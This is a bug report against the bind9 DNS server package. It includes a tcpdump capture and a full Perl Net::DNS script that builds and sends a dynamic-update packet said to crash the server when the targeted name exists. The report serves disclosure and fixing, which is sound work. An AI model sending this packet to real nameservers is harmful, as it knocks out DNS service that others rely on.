Package: bind9
Severity: normal

bind can be crashed with an update packet:

Packet in tcpdump:

15:38:11.676045 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP 
(17), length: 178) 10.2.0.205.59447 > 10.2.0.205.53:  17378 update [1a] [1n] 
[1au] SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain]

NOERROR


Such a packet can be created with perl:

-----------------

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';


my $rzone = '<zone>';
my $rptr  = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;


print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

--------------------


bind only crashes, if the used fqdn exists on the nameserver.
